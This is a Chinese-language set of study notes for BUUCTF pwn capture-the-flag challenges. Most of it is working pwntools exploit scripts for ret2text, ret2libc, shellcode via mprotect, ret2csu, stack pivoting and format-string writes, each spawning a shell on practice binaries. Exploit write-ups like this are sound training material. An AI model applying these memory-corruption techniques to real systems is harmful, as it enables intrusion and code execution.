BUUCTF pwn wp


前言

关于BUUCTF的pwn题第一页的刷题笔记

test_your_nc

#nc

  1. nc连上去
  2. exp
    1
    cat flag

rip

#ret2text #栈平衡

分析main函数,一眼栈溢出。

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

并且程序存在后门函数

1
2
3
4
int fun()
{
return system("/bin/sh");
}

在返回后门函数前,加一个ret指令保持栈平衡。

  • exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from pwncli import *
    cli_script()

    io: tube = gift.io
    elf: ELF = gift.elf

    ret=0x401198
    payload=b'a'*23+p64(ret)+p64(0x401186)
    sl(payload)
    ia()

warmup_csaw_2016

#ret2text

程序中存在输出flag函数,指向使程序返回到flag函数即可。

1
2
3
4
int sub_40060D()
{
return system("cat flag.txt");
}
  • exp
1
2
3
4
5
6
7
8
9
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload=b'a'*72+p64(0x40060E)
sl(payload)
ia()

ciscn_2019_n_1

#ret2text

分析程序发现存在无限制栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

直接打ret2text

1
2
3
4
5
6
7
8
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload=b'a'*44+p32(0x41348000) sl(payload)
ia()

pwn1_sctf_2016

#ret2text #cpp

C++代码审计

I字符替换成you字符,1个字符替换为3个字符产生溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
printf("Tell me something about yourself: "); 

//从edata输入流中读取最多31个字符到input缓冲区。
fgets(input, 32, edata);

//将input中的内容赋值给一个 std::string 对象 ::input。
//这是一个全局的 std::string对象。
std::string::operator=(&::input, input);

//创建一个 std::alloccator<char>对象v5。std::allocator 是一个内存
//分配器,用于分配原始内存。
std::allocator<char>::allocator(&v5);

//使用v5分配器,将字符串you初始化为一个新的std::string对象v4
std::string::string(v4, "you", &v5);

//创建另一个std::allocator<char>对象v7
std::allocator<char>::allocator(v7);

//使用v7分配器,将字符串 I 初始化为另一个 std::string 对象v6
std::string::string(v6, "I", v7);

//调用一个名为 replace 的函数或方法,将字符串v3进行某种替换操作。
replace(v3);

//使用v6个v4中的值替换v3中的某些部分,然后将结果赋值给::input
std::string::operator=(&::input, v3, v6, v4);

//析构v3字符串对象,释放其占用的内存
std::string::~string(v3);

//析构v6字符串对象,释放其占用的内存
std::string::~string(v6);

//析构v7分配器对象,释放其管理的内存
std::allocator<char>::~allocator(v7);

//析构v4字符串对象,释放其占用的内存
std::string::~string(v4);

//析构v5分配器对象,释放其管理的内存
std::allocator<char>::~allocator(&v5);

//从::input获取C风格的字符串指针并赋值给v0
v0 = std::string::c_str(&::input);

//将v0中的字符串复制到input中
strcpy(input, v0);

//打印input
return printf("So, %s\n", input);
  • exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #!/usr/bin/python3
    from pwncli import *

    cli_script()

    io=gift["io"]
    elf=gift["elf"]

    sys=0x08048f0d
    payload=b'I'*20+b'a'*4+p32(sys)
    sl(payload)
    ia()

jarvisoj_level0

#ret2text #栈平衡

通过gadget传参/bin/sh,然后执行system函数。

ret栈平衡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
from pwncli import *

cli_script()

io=gift["io"]
elf=gift["elf"]

off=136
sh=0x00400684
sys=0x00400460
rdi=0x0000000000400663
ret=0x0000000000400431
payload=b'a'*off+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sl(payload)
ia()

[第五空间2019 决赛]PWN5

#格式化字符串

  • exp1
1
2
3
4
5
6
7
8
9
from pwn import *
context.os = 'linux'
context.arch = 'i386'
#context.log_level = 'debug'
io = process('./pwn')
payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()
  • exp2
1
2
3
4
5
6
7
8
9
10
from pwn import *
io = process("./pwn")
#io = remote("node4.buuoj.cn",25068)
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

jarvisoj_level2

简单ret2text

ciscn_2019_n_8

#变量覆盖
通过溢出覆盖变量使变量满足条件拿到shell

ida的LL表示长整型值即8个字节,所以需要64位比较。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf

r()
payload=b'a'*52+p64(17)
s(payload)

ia()

bjdctf_2020_babystack

#ret2text
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
r()
rdi=0x0000000000400833
ret=0x0000000000400561
sh=0x00400858
sys=elf.plt.system
sl(b'300')
payload=b'a'*24+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sa(b'name?\n',payload)
ia()

ciscn_2019_c_1

#ret2libc
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

main=0x4009a0
rbx_rbp=0x0000000000400aec
rdi=0x0000000000400c83
rsi_r15=0x0000000000400c81
ret=0x00000000004006b9
off=0x58

payload=b'a'*off+p64(rdi)+p64(elf.got["puts"])+p64(elf.plt.puts)+p64(elf.sym["main"])
ru("Input your choice!\n")
sl(b"1")
ru("Input your Plaintext to be encrypted\n")
sl(payload)
puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
success("puts_addr -> {:#x}".format(puts_addr))

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
sh=libc_base+libc.dump("str_bin_sh")
sys=libc_base+libc.dump("system")
pay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
ru(b"Input your choice!\n")
sl(b"1")
ru(b"Input your Plaintext to be encrypted\n")
sl(pay)

ia()

get_started_3dsctf_2016

#ret2shellcode #调用mprotect修改内存权限

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

pwnfile="./get_started_3dsctf_2016"
io=process(pwnfile)
elf=ELF(pwnfile)
context(log_level="debug",arch="i386")

mprotect_addr=elf.symbols["mprotect"]
read=elf.symbols["read"]
mem_addr=0x080Ea000
mem_size=0x1000
mem_proc=0x7

#pop ebp; pop esi; pop edi; ret
pop_addr=0x0809e4c5

payload=b"a"*0x38+p32(mprotect_addr)
payload+=p32(pop_addr)
payload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)

payload+=p32(read)
payload+=p32(pop_addr)
payload+=p32(0)+p32(mem_addr)+p32(0x100)
payload+=p32(mem_addr)

io.sendline(payload)

#pwntools生成shellcode
pay=asm(shellcraft.sh())
#也可以手写编码
#pay="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
io.sendline(pay)
io.interactive()

jarvisoj_level2_x64

简单ret2text

[HarekazeCTF2019]baby_rop

简单ret2text

others_shellcode

nc连接

[OGeek2019]babyrop

#ret2libc #字符串截断

32位ret2libc,LibcSearcher无法搜索到libc

不过题目提供了libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("./libc-2.23.so")

payload=b'\x00'+b'\x99\xff\xff'+b'\xff\xff\xff'+b'\xff\xff\xff'
s(payload)


payload=b'a'*(231+4)+p32(elf.plt.write)+p32(0x80487d0)+p32(0x1)+p32(elf.got.write)+p32(0xff)
r()
s(payload)
pause()
addr=u32(r(4))
print(hex(addr))
#libc=LibcSearcher("write",addr)
#base=addr-libc.dump("write")
#sys=base+libc.dump("system")
#sh=base+libc.dump("str_bin_sh")
base=addr-libc.sym.write
sys=base+libc.sym.system
sh=base+next(libc.search("/bin/sh\x00"))

payload=b'a'*(231+4)+p32(sys)+p32(0)+p32(sh)
s(payload)

ia()

ciscn_2019_n_5

简单ret2libc

not_the_same_3dsctf_2016

#ret2shellcode

程序为32位静态编译,没有栈溢出和pie保护

程序中存在危险函数gets,并且text段存在mprotect函数

我们可以通过执行mprotect函数修改内存权限

再通过read函数将shellcode读入内存

之后通过栈溢出返回地址执行shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
context.arch=elf.arch
p3=0x08050b45
off=45
mprotect=0x806ed40
read=elf.sym.read
addr=0x80eb000

payload=b'a'*off
shellcode=asm(shellcraft.sh())

payload+=p32(mprotect)+p32(p3)
payload+=p32(addr)+p32(0x100)+p32(0x7)
payload+=p32(read)+p32(p3)
payload+=p32(0)+p32(addr)+p32(0x100)
payload+=p32(addr)

sl(payload)
sl(shellcode)

ia()

ciscn_2019_en_2

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
off=0x58
r()
sl("1")
rdi=0x0000000000400c83
ret=0x00000000004006b9
payload=off*b'\x00'+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)
sl(payload)
puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts_addr)
base=puts_addr-libc.dump("puts")
sys=base+libc.dump("system")
sh=base+libc.dump("str_bin_sh")
r()
sl("1")
payload=off*b'\x00'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sl(payload)
ia()

ciscn_2019_ne_5

  1. 查保护

发现程序为32位程序,没有canarypie保护。

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  1. 分析

由于程序将一个长字符串复制到一个短的字符数组中,所以产生了栈溢出

并且程序中存在system函数和sh字符串
可以通过ret2text进行利用

  1. exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sh=0x080482ea
r()
sl("administrator")
r()
sl("1")
payload=b'a'*(0x48+4)+p32(elf.sym.system)+p32(elf.sym.main)+p32(sh)
sl(payload)
ru("0.Exit\n:")
sl("4")
ia()

铁人三项(第五赛区) _ 2018_rop

#ret2libc #32位

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
context.arch=elf.arch

off=0x8c
payload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got["write"])+p32(0x20)
sl(payload)
write=u32(r(4))
print(hex(write))
libc=LibcSearcher("write",write)
base=write-libc.dump("write")
sh=base+libc.dump("str_bin_sh")
sys=base+libc.dump("system")
pay=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)
r()
sl(pay)
ia()

bjdctf_2020_babystack2

#整数溢出 #ret2text

在text段我们发现了backdoor函数。

但是我们的第一个输入决定着接下来我们可以输入的数据长度。

第一个输入如果大于有符号数的10,程序就会退出。

但是在将第一个输入作为第二个输入的第三个参数时存在有符号数到无符号数的类型转换。

如果我们第一个输入输入的是-1,就可以绕过限制,并且输入无限制的数据。

所以我们第一此输入发送-1,第二次发送payload

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
ru("name:\n")
sl("-1")

ret=0x0000000000400599

payload=b'a'*24+p64(0x40072A)

r()
sl(payload)

ia()

bjdctf_2020_babyrop

#ret2libc

简单ret2libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf

rdi=0x0000000000400733
payload=b'a'*40+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)
r()
sl(payload)

addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
libc=LibcSearcher("puts",addr)
base=addr-libc.dump("puts")
sys=libc.dump("system")+base
sh=libc.dump("str_bin_sh")+base
payload=b'a'*40+p64(rdi)+p64(sh)+p64(sys)
sl(payload)
ia()

jarvisoj_fm

#格式化字符串 #任意地址写

  1. 查保护

  2. 分析

利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,

  1. exp
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload=p32(0x804A02C)+b"%11$n"
sl(payload)

ia()

jarvisoj_tell_me_something

  1. 查保护

只有NX保护。

1
2
3
4
5
6
➜  11-01 checksec ./guestbook
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  1. 分析

分析主函数

程序调用read可以向栈上输入0x100字节大小的数据,判断存在栈溢出。

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h] BYREF

write(1, "Input your message:\n", 0x14uLL);
read(0, &v4, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

函数表中发现函数good_game,函数打开了flag.txt文件并将其读入到了局部变量中,并且将内容一个字节一个字节的输出到标准输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf[9]; // [rsp+Fh] [rbp-9h] BYREF

v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf[0] = result;
if ( result == 0xFF )
break;
write(1, buf, 1uLL);
}
return result;
}

我们通过栈溢出让程序返回到good_game函数即可输出flag

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload=b'a'*136+p64(0x400620)
r()
s(payload)

ia()

ciscn_2019_es_2

#栈迁移

  1. 查保护

  2. 分析

  3. exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

leave = 0x080484B8
system_addr = elf.symbols['system']

s(b'a'*36 + b'bbbb')
ru(b'bbbb')
ebp = u32(r(4))
print("ebp",hex(ebp))

#ebp-0x28指向/bin/sh
payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a')
payload += p32(ebp-0x38) + p32(leave)
s(payload)

ia()

[HarekazeCTF2019]baby_rop

#ret2libc #printf_plt

2.
利用printf函数泄露libc地址,然后进行ret2libc

printf函数的第一个地址设置为程序中已有的格式化字符串。

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("./libc.so.6")

rdi=0x0000000000400733
ret=0x00000000004004d1
rsi_r15=0x0000000000400731
arg1=0x400790

payload=b'a'*40+p64(rdi)+p64(arg1)+p64(rsi_r15)+p64(elf.got.read)+p64(0)+p64(elf.plt.printf)+p64(0x400636)
r()
sl(payload)

addr=u64(ru(b"\x7f")[-6:].ljust(8,b"\x00"))
base=addr-libc.sym.read
print("base",hex(base))
sys=base+libc.sym.system
sh=base+libc.search("/bin/sh\x00").__next__()
print("system",hex(sys))
print("sh",hex(sh))
payload=b'a'*40+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sl(payload)

ia()

picoctf_2018_rop chain

#ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("./libc.so.6")

rdi=0x0000000000400733
ret=0x00000000004004d1

payload=b'a'*28+p32(elf.plt.puts)+p32(elf.sym.main)+p32(elf.got.puts)
r()
sl(payload)
addr=u32(r(4))
libc=LibcSearcher("puts",addr)
base=addr-libc.dump("puts")
sys=libc.dump("system")+base
sh=base+libc.dump("str_bin_sh")

payload=b'a'*28+p32(sys)+p32(elf.sym.main)+p32(sh)
r()
sl(payload)

ia()

pwn2_sctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("/buu/32/libc-2.23.so")
ru("read? ")
sl("-1")
off=48
payload=b'a'*off+p32(elf.plt.printf)+p32(elf.sym.vuln)+p32(0x80486F8)+p32(elf.got.printf)
ebx_esi_edi_ebp=0x0804864c
int_80=0x080484d0
r()
sl(payload)
ru("You said:")
ru("You said: ")
addr=u32(ru(b'\xf7')[-4:])
print("addr",hex(addr))
ru("read? ")
sl("-1")
base=addr-libc.sym.printf
sh=base+next(libc.search(b"/bin/sh\x00"))
sys=base+libc.sym.system
payload=b'a'*off+p32(sys)+b'a'*4+p32(sh)
ru("data!\n")
sl(payload)
ia()

jarvisoj_level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
off=140
payload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got["__libc_start_main"])+p32(4)
r()
sl(payload)
addr=u32(ru(b'\xf7')[-4:])
print("addr",hex(addr))
libc=ELF("/buu/32/libc-2.23.so")
base=addr-libc.sym.__libc_start_main
sh=base+next(libc.search("/bin/sh\x00"))
sys=base+libc.sym.system
payload=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)
r()
s(payload)
ia()

ciscn_2019_s_3

#ret2syscall

  1. 查保护

  2. 分析

  3. exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

syscall=0x0000000000400501
rax=0x00000000004004E2
ret=0x4003a9
vul=0x4004ed
rdi=0x00000000004005a3

#泄露栈地址
payload=b'a'*0x10+p64(vul)
s(payload)
r(0x20)
stack=u64(r(8))
buf=stack-0x118

#ret2csu
payload=p64(ret)+b'/bin/sh\x00'
payload+=p64(rax)
payload+=p64(0x40059a) #rdx=0
payload+=p64(0)+p64(1) #rbx=0,rbp=1
payload+=p64(buf)+p64(0)*3 #r12=buf_addr
payload+=p64(0x400580)
payload+=p64(0)*7
payload+=p64(rdi)+p64(buf+8)#rdi=/bin/sh
payload+=p64(syscall)
payload+=p64(vul)

s(payload)

ia()

wustctf2020_getshell

#ret2text

代码段存在后门函数,直接打ret2text

  • exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *

    io=remote("node5.buuoj.cn",29410)

    sys=0x804851b

    payload=b'a'*28+p32(sys)
    io.recv()
    io.sendline(payload)

    io.interactive()

总结

BUUCTF 第一页知识重点

  • ret2text以及栈平衡
  • ret2libc
    • write函数泄露libc
    • puts函数泄露libc
    • printf函数泄露libc
  • ret2shellcode,通过mprotect修改内存权限绕过NX
  • ret2syscall
  • ret2csu
  • 栈迁移
  • 格式化字符串
    • 泄露canary
    • 任意地址写
  • 整数溢出